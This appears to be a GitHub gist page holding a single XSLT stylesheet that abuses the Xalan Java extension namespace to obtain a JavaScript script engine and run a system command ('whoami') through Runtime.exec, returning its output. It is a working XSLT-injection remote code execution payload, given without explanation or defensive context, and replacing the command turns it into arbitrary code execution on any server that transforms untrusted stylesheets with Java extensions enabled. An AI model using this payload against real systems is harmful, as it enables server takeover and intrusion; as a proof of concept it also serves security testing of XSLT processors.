Skip to content

Instantly share code, notes, and snippets.

@neolead
Created June 14, 2023 23:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save neolead/d11a1ae943de88aadf7bdd43b82f7170 to your computer and use it in GitHub Desktop.
Save neolead/d11a1ae943de88aadf7bdd43b82f7170 to your computer and use it in GitHub Desktop.
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:j="http://xml.apache.org/xalan/java" exclude-result-prefixes="j"
>
<xsl:template match="/">
<xsl:variable name="sem" select="j:javax.script.ScriptEngineManager.new()"/>
<xsl:variable name="se" select="j:getEngineByName($sem, 'JavaScript')"/>
<xsl:variable name="js">
<![CDATA[
new java.util.Scanner(
java.lang.Runtime.getRuntime().exec("whoami ").getInputStream()
).useDelimiter("\\Z").next()
]]>
</xsl:variable>
<xsl:value-of select="j:eval($se, $js)"/>
</xsl:template>
</xsl:stylesheet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment